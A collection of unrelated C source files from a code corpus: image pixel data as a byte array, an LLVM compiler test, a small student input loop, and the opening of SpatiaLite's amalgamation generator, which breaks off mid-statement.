0x00, 0x00, 0x00, 0xbb, 0xa5, 0x1d, 0xe3, 0xe0, 0xff, 0xf4, 0xc1, 0xff, 0xcc, 0x42, 0xff, 0xe5, 0x65, 0xff, 0xfe, 0x05, 0xff, 0xfe, 0x25, 0xff, 0xfe, 0x65, 0xff, 0xfe, 0x85, 0xff, 0xfe, 0xa5, 0xff, 0xfe, 0xc5, 0xff, 0xfe, 0xc5, 0xff, 0xfe, 0xe5, 0xff, 0xfe, 0xe5, 0xff, 0xfe, 0xe6, 0xff,
0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe5, 0xff, 0xfe, 0xe5, 0xff, 0xfe, 0xc5, 0xff, 0xfe, 0xc5, 0xff, 0xfe, 0xa5, 0xff, 0xfe, 0x85, 0xff, 0xfe, 0x65, 0xff,
0xfe, 0x25, 0xff, 0xfe, 0x05, 0xff, 0xdd, 0x44, 0xff, 0xc4, 0x02, 0xff, 0xf4, 0xc1, 0xff, 0xe3, 0xe0, 0xff, 0xbb, 0xa4, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3, 0x84, 0x28, 0xdb, 0xc0, 0xff, 0xf4, 0xc1, 0xff, 0xfd, 0x82, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0xe5, 0xff, 0xfe, 0x25, 0xff,
0xfe, 0x45, 0xff, 0xfe, 0x65, 0xff, 0xfe, 0x45, 0xff, 0xf6, 0x04, 0xff, 0xed, 0xc4, 0xff, 0xed, 0xe4, 0xff, 0xfe, 0x85, 0xff, 0xfe, 0xe5, 0xff, 0xfe, 0xe5, 0xff, 0xfe, 0xe6, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe5, 0xff,
0xfe, 0xe5, 0xff, 0xfe, 0xc5, 0xff, 0xfe, 0xa5, 0xff, 0xfe, 0x65, 0xff, 0xf6, 0x04, 0xff, 0xed, 0xc4, 0xff, 0xf5, 0xe4, 0xff, 0xfe, 0x25, 0xff, 0xfe, 0x25, 0xff, 0xfd, 0xe5, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0x83, 0xff, 0xf4, 0xc1, 0xff, 0xe3, 0xe0, 0xff, 0xc3, 0x83, 0x33, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xc3, 0x84, 0x29, 0xdb, 0xc0, 0xff, 0xec, 0xa0, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0xa4, 0xff, 0xfd, 0xe5, 0xff, 0xfe, 0x05, 0xff, 0xf5, 0xa4, 0xff, 0xb3, 0xc2, 0xff, 0x82, 0x61, 0xff, 0x71, 0xc0, 0xff, 0x69, 0xc0, 0xff, 0x69, 0xc0, 0xff, 0x82, 0x40, 0xff, 0xe5, 0xc4, 0xff,
0xfe, 0xc6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xa5, 0xff, 0xdd, 0x63, 0xff, 0xa3, 0x41, 0xff, 0x7a, 0x20, 0xff, 0x71, 0xc0, 0xff, 0x71, 0xc0, 0xff, 0x71, 0xc0, 0xff, 0xb3, 0xa2, 0xff,
0xfe, 0x05, 0xff, 0xfd, 0xe5, 0xff, 0xfd, 0xa4, 0xff, 0xfd, 0x42, 0xff, 0xec, 0xa1, 0xff, 0xdb, 0xe0, 0xff, 0xc3, 0x63, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0x85, 0x1d, 0xdb, 0xa0, 0xff, 0xec, 0x80, 0xff, 0xf5, 0x21, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0xc5, 0xff, 0xe5, 0x04, 0xff,
0x7a, 0x01, 0xff, 0x82, 0xa2, 0xff, 0x93, 0x22, 0xff, 0x92, 0xc1, 0xff, 0x9a, 0xc0, 0xff, 0x9a, 0xe0, 0xff, 0x8a, 0x60, 0xff, 0xab, 0xa2, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xa6, 0xff,
0xa3, 0x62, 0xff, 0x72, 0x01, 0xff, 0x8b, 0x02, 0xff, 0x93, 0x22, 0xff, 0x92, 0xa0, 0xff, 0x9a, 0xe0, 0xff, 0x92, 0xa0, 0xff, 0x71, 0xe0, 0xff, 0xf5, 0xa4, 0xff, 0xfd, 0xe5, 0xff, 0xfd, 0xa3, 0xff, 0xf5, 0x21, 0xff, 0xec, 0xa1, 0xff, 0xdb, 0xc0, 0xff, 0xbb, 0x84, 0x25, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xb3, 0xe7, 0x09, 0xd3, 0x80, 0xf6, 0xe4, 0x60, 0xff, 0xf5, 0x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xff, 0xfe, 0x66, 0xff, 0xfe, 0x87, 0xff, 0xbc, 0x64, 0xff, 0xab, 0xc3, 0xff, 0xdd, 0x66, 0xff, 0xfd, 0xe5, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0x62, 0xff, 0xf4, 0xe1, 0xff, 0xe4, 0x40, 0xff, 0xcb, 0x81, 0xdf, 0xb3, 0xe7, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcb, 0x61, 0x9b, 0xdc, 0x00, 0xff, 0xec, 0xa1, 0xff, 0xf5, 0x22, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0xa4, 0xff, 0xfd, 0xe5, 0xff, 0xfe, 0x06, 0xff, 0xfe, 0x26, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0xa7, 0xff, 0xfe, 0x87, 0xff, 0xfe, 0x66, 0xff,
0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x47, 0xff, 0xfd, 0xe6, 0xff,
0xfd, 0xc4, 0xff, 0xfd, 0x83, 0xff, 0xf5, 0x22, 0xff, 0xec, 0xc1, 0xff, 0xdc, 0x00, 0xff, 0xcb, 0x61, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3, 0x42, 0x52, 0xd3, 0xa0, 0xff, 0xe4, 0x61, 0xff, 0xf5, 0x01, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0xa3, 0xff,
0xfd, 0xc5, 0xff, 0xfd, 0xe6, 0xff, 0xfe, 0x06, 0xff, 0xfe, 0x26, 0xff, 0xfe, 0x26, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff, 0xfe, 0x66, 0xff,
0xfe, 0x66, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x26, 0xff, 0xfe, 0x26, 0xff, 0xfe, 0x06, 0xff, 0xfd, 0xe6, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0x62, 0xff, 0xf5, 0x01, 0xff, 0xe4, 0x81, 0xff, 0xd3, 0xc0, 0xff, 0xc3, 0x42, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0xc6, 0x0b, 0xcb, 0x60, 0xee, 0xdc, 0x20, 0xff, 0xec, 0xc1, 0xff, 0xf5, 0x22, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xe6, 0xff, 0xfe, 0x06, 0xff, 0xfe, 0x06, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff,
0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x67, 0xff, 0xfe, 0x67, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x26, 0xff, 0xc4, 0x23, 0xff, 0xfe, 0x06, 0xff, 0xfe, 0x06, 0xff, 0xfd, 0xe6, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xa3, 0xff,
0xfd, 0x62, 0xff, 0xf5, 0x22, 0xff, 0xec, 0xc1, 0xff, 0xdc, 0x21, 0xff, 0xcb, 0x60, 0xf3, 0xb3, 0xa5, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcb, 0x41, 0x8e, 0xd3, 0xc0, 0xff, 0xe4, 0x61, 0xff, 0xec, 0xe2, 0xff, 0xf5, 0x42, 0xff,
0xfd, 0x82, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xe6, 0xff, 0xfd, 0xe6, 0xff, 0xfe, 0x07, 0xff, 0xfe, 0x07, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff,
0xfe, 0x27, 0xff, 0xf5, 0x85, 0xff, 0x69, 0x80, 0xff, 0xf5, 0xa6, 0xff, 0xfd, 0xe6, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0x82, 0xff, 0xf5, 0x42, 0xff, 0xec, 0xe2, 0xff, 0xe4, 0x81, 0xff, 0xd3, 0xc0, 0xff, 0xcb, 0x41, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbb, 0x64, 0x1c, 0xcb, 0x60, 0xf5, 0xdc, 0x01, 0xff, 0xe4, 0xa1, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x42, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xe6, 0xff, 0xfe, 0x07, 0xff, 0xfe, 0x07, 0xff,
0xfe, 0x07, 0xff, 0xfe, 0x07, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x27, 0xff, 0xfe, 0x07, 0xff, 0xfe, 0x07, 0xff, 0xfd, 0xc6, 0xff, 0xa3, 0x22, 0xff, 0x71, 0xe0, 0xff, 0xf5, 0x85, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0xa3, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0x42, 0xff,
0xf5, 0x02, 0xff, 0xe4, 0xa1, 0xff, 0xdc, 0x01, 0xff, 0xcb, 0x60, 0xf8, 0xbb, 0x63, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3, 0x41, 0x80, 0xd3, 0xa0, 0xff, 0xdc, 0x41, 0xff, 0xe4, 0xc2, 0xff,
0xf5, 0x02, 0xff, 0xf5, 0x42, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0xa4, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xc5, 0xff, 0xfd, 0xe6, 0xff, 0xfd, 0xe6, 0xff, 0xfd, 0xe7, 0xff, 0xfd, 0xe7, 0xff, 0xfe, 0x07, 0xff, 0xfe, 0x07, 0xff, 0xfd, 0xe7, 0xff, 0xfd, 0xc6, 0xff, 0xed, 0x05, 0xff,
0x9a, 0xc1, 0xff, 0x82, 0x20, 0xff, 0x92, 0xc1, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0x42, 0xff, 0xf5, 0x02, 0xff, 0xec, 0xc2, 0xff, 0xdc, 0x41, 0xff, 0xd3, 0xa0, 0xff, 0xcb, 0x41, 0x8a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x03, 0x08, 0xcb, 0x40, 0xd0, 0xd3, 0xc0, 0xff, 0xdc, 0x41, 0xff, 0xec, 0xc2, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x42, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0x63, 0xff, 0xfd, 0x64, 0xff,
0xfd, 0x64, 0xff, 0xf5, 0x44, 0xff, 0xed, 0x04, 0xff, 0xdc, 0x83, 0xff, 0xbb, 0xc2, 0xff, 0xa3, 0x02, 0xff, 0x8a, 0x61, 0xff, 0x71, 0xc0, 0xff, 0x82, 0x20, 0xff, 0x92, 0xe1, 0xff, 0xdd, 0x04, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0x62, 0xff, 0xf5, 0x42, 0xff, 0xf5, 0x02, 0xff, 0xec, 0xc2, 0xff,
0xdc, 0x61, 0xff, 0xd3, 0xe0, 0xff, 0xcb, 0x40, 0xd7, 0xc3, 0xc3, 0x0b, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xc3, 0x62, 0x27, 0xcb, 0x60, 0xee, 0xd3, 0xe0, 0xff,
0xdc, 0x61, 0xff, 0xe4, 0xa2, 0xff, 0xed, 0x02, 0xff, 0xf5, 0x22, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0x82, 0x20, 0xff, 0x71, 0xc0, 0xff, 0x71, 0xc0, 0xff, 0x69, 0xa0, 0xff, 0x61, 0x80, 0xff, 0x69, 0xa0, 0xff, 0x71, 0xe0, 0xff, 0x82, 0x81, 0xff, 0xa3, 0x83, 0xff, 0xbc, 0x63, 0xff,
0xdd, 0x44, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0x63, 0xff, 0xfd, 0x42, 0xff, 0xf5, 0x22, 0xff, 0xf5, 0x02, 0xff, 0xec, 0xc2, 0xff, 0xdc, 0x61, 0xff, 0xd3, 0xe0, 0xff, 0xcb, 0x60, 0xf2, 0xc3, 0x62, 0x2e, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x02, 0xc3, 0x61, 0x3f, 0xcb, 0x60, 0xf5, 0xd3, 0xe0, 0xff, 0xdc, 0x41, 0xff, 0xe4, 0xa2, 0xff, 0xec, 0xe2, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x22, 0xff, 0xf5, 0x64, 0xff, 0xe5, 0x44, 0xff,
0xe5, 0x24, 0xff, 0xe5, 0x44, 0xff, 0xed, 0x64, 0xff, 0xf5, 0xa4, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0xc4, 0xff, 0xfd, 0x83, 0xff, 0xfd, 0x62, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0xf5, 0x22, 0xff, 0xf5, 0x02, 0xff, 0xec, 0xe2, 0xff, 0xe4, 0xa2, 0xff, 0xdc, 0x41, 0xff, 0xd3, 0xe0, 0xff,
0xcb, 0x60, 0xf8, 0xc3, 0x41, 0x47, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x02, 0xc3, 0x41, 0x40,
0xcb, 0x60, 0xee, 0xd3, 0xc0, 0xff, 0xdc, 0x21, 0xff, 0xe4, 0x81, 0xff, 0xec, 0xc2, 0xff, 0xec, 0xe2, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x22, 0xff, 0xfd, 0x22, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x42, 0xff, 0xfd, 0x22, 0xff,
0xf5, 0x22, 0xff, 0xf5, 0x02, 0xff, 0xec, 0xe2, 0xff, 0xec, 0xc2, 0xff, 0xe4, 0x81, 0xff, 0xdc, 0x41, 0xff, 0xd3, 0xe0, 0xff, 0xcb, 0x60, 0xf1, 0xc3, 0x61, 0x47, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x03, 0xc3, 0x62, 0x28, 0xc3, 0x40, 0xd1, 0xd3, 0xa0, 0xff, 0xdc, 0x01, 0xff, 0xe4, 0x41, 0xff, 0xe4, 0x81, 0xff, 0xec, 0xc2, 0xff, 0xec, 0xe2, 0xff,
0xf4, 0xe2, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x02, 0xff, 0xf5, 0x02, 0xff, 0xf4, 0xe2, 0xff, 0xec, 0xe2, 0xff, 0xec, 0xc2, 0xff, 0xe4, 0x81, 0xff, 0xe4, 0x61, 0xff, 0xdc, 0x01, 0xff, 0xd3, 0xa0, 0xff, 0xcb, 0x40, 0xd6, 0xc3, 0x62, 0x2e,
0xfd, 0x00, 0x03, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01,
0xfd, 0x00, 0x03, 0xdc, 0x42, 0x0b, 0xc3, 0x41, 0x82, 0xcb, 0x60, 0xf5, 0xd3, 0xc0, 0xff, 0xdc, 0x01, 0xff, 0xdc, 0x41, 0xff, 0xe4, 0x61, 0xff, 0xe4, 0x81, 0xff, 0xec, 0xa1, 0xff, 0xec, 0xa1, 0xff, 0xec, 0xc1, 0xff, 0xec, 0xc1, 0xff, 0xec, 0xa2, 0xff, 0xec, 0xa1, 0xff, 0xe4, 0x81, 0xff,
0xe4, 0x61, 0xff, 0xe4, 0x41, 0xff, 0xdc, 0x01, 0xff, 0xd3, 0xc0, 0xff, 0xcb, 0x60, 0xf7, 0xc3, 0x41, 0x88, 0xdc, 0x22, 0x0d, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x03, 0xcb, 0xa2, 0x20, 0xc3, 0x21, 0x91, 0xc3, 0x40, 0xf0, 0xd3, 0x80, 0xff, 0xd3, 0xc0, 0xff,
0xdc, 0x01, 0xff, 0xdc, 0x21, 0xff, 0xdc, 0x21, 0xff, 0xdc, 0x41, 0xff, 0xdc, 0x41, 0xff, 0xdc, 0x21, 0xff, 0xdc, 0x21, 0xff, 0xdc, 0x01, 0xff, 0xd3, 0xe0, 0xff, 0xd3, 0xa0, 0xff, 0xcb, 0x40, 0xf2, 0xc3, 0x41, 0x96, 0xc3, 0x82, 0x23, 0xfd, 0x00, 0x04, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x03, 0xdc, 0x22, 0x0f, 0xbb, 0x41, 0x57, 0xc3, 0x21, 0x9f, 0xc3, 0x40, 0xd9, 0xc3, 0x40, 0xf8, 0xcb, 0x60, 0xff, 0xcb, 0x60, 0xff, 0xcb, 0x60, 0xff, 0xcb, 0x60, 0xff, 0xc3, 0x40, 0xf9, 0xc3, 0x40, 0xdb,
0xc3, 0x20, 0xa2, 0xbb, 0x21, 0x5a, 0xd4, 0x22, 0x10, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x03,
0xfd, 0x00, 0x03, 0xe4, 0x82, 0x0f, 0xc3, 0xc3, 0x23, 0xbb, 0x82, 0x30, 0xbb, 0x82, 0x31, 0xc3, 0xc3, 0x24, 0xe4, 0x82, 0x10, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x04, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x03, 0xfd, 0x00, 0x02, 0xfd, 0x00, 0x02,
0xfd, 0x00, 0x01, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
|
the_stack_data/1209783.c
|
// RUN: %llvmgcc -S %s -o - | llvm-as -o /dev/null
struct i387_soft_struct {
long cwd;
};
union i387_union {
struct i387_soft_struct soft;
};
struct thread_struct {
union i387_union i387;
};
void _init_task_union(void) {
struct thread_struct thread = (struct thread_struct) { {{0}} };
}
|
the_stack_data/119133.c
|
/*programmer Chase Singhofen
date 10/18/16
specifications
*/
#include<stdio.h>
#include<stdlib.h>
main()
{
int value = 0, count = 0, num = 0;
scanf_s("%i", &value);
while (count < value)
{
printf("enter a number\n");
scanf_s("%i", &num);
count++;
}
system("pause");
}
|
the_stack_data/97013089.c
|
/*
**
** amalgamate.c
**
** produces the SpatiaLite's AMALGAMATION
**
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
#define PREFIX "./src"
/* globals: autogenerated snippet paths */
const char *vanuatuWkt_h = "/gaiageo/vanuatuWkt.h";
const char *vanuatuWkt_c = "/gaiageo/vanuatuWkt.c";
const char *Ewkt_h = "/gaiageo/Ewkt.h";
const char *Ewkt_c = "/gaiageo/Ewkt.c";
const char *geoJSON_h = "/gaiageo/geoJSON.h";
const char *geoJSON_c = "/gaiageo/geoJSON.c";
const char *Kml_h = "/gaiageo/Kml.h";
const char *Kml_c = "/gaiageo/Kml.c";
const char *Gml_h = "/gaiageo/Gml.h";
const char *Gml_c = "/gaiageo/Gml.c";
const char *lex_VanuatuWkt_c = "/gaiageo/lex.VanuatuWkt.c";
const char *lex_Ewkt_c = "/gaiageo/lex.Ewkt.c";
const char *lex_GeoJson_c = "/gaiageo/lex.GeoJson.c";
const char *lex_Kml_c = "/gaiageo/lex.Kml.c";
const char *lex_Gml_c = "/gaiageo/lex.Gml.c";
const char *epsg_inlined_c = "/srsinit/epsg_inlined.c";
struct masked_keyword
{
char *keyword;
struct masked_keyword *next;
};
static void
do_auto_sh (FILE * out)
{
/* producing the auto-sh script [automake chain] */
fprintf (out, "cd ./amalgamation\n");
fprintf (out, "echo aclocal\n");
fprintf (out, "aclocal\n");
fprintf (out, "echo autoheader\n");
fprintf (out, "autoheader\n");
fprintf (out, "echo autoconf\n");
fprintf (out, "autoconf\n");
fprintf (out, "echo libtoolize\n");
fprintf (out, "libtoolize\n");
fprintf (out, "echo automake --add-missing --foreign\n");
fprintf (out, "automake --add-missing --foreign\n\n");
}
static void
do_headers (FILE * out, struct masked_keyword *first)
{
/* prepares the headers for SpatiaLite-Amalgamation */
struct masked_keyword *p;
char now[64];
time_t now_time;
struct tm *tmp;
now_time = time (NULL);
tmp = localtime (&now_time);
strftime (now, 64, "%Y-%m-%d %H:%M:%S %z", tmp);
fprintf (out,
"/******************************************************************************\n");
fprintf (out,
"** This file is an amalgamation of many separate C source files from SpatiaLite\n");
fprintf (out,
"** version 3.0.0-beta1. By combining all the individual C code files into this\n");
fprintf (out,
"** single large file, the entire code can be compiled as a one translation\n");
fprintf (out,
"** unit. This allows many compilers to do optimizations that would not be\n");
fprintf (out,
"** possible if the files were compiled separately. Performance improvements\n");
fprintf (out,
"** of 5%% are more are commonly seen when SQLite is compiled as a single\n");
fprintf (out, "** translation unit.\n");
fprintf (out, "**\n** This amalgamation was generated on %s.\n\n", now);
fprintf (out, "Author: Alessandro (Sandro) Furieri <[email protected]>\n\n");
fprintf (out,
"------------------------------------------------------------------------------\n\n");
fprintf (out, "Version: MPL 1.1/GPL 2.0/LGPL 2.1\n\n");
fprintf (out,
"The contents of this file are subject to the Mozilla Public License Version\n");
fprintf (out,
"1.1 (the \"License\"); you may not use this file except in compliance with\n");
fprintf (out, "the License. You may obtain a copy of the License at\n");
fprintf (out, "http://www.mozilla.org/MPL/\n\n");
fprintf (out,
"Software distributed under the License is distributed on an \"AS IS\" basis,\n");
fprintf (out,
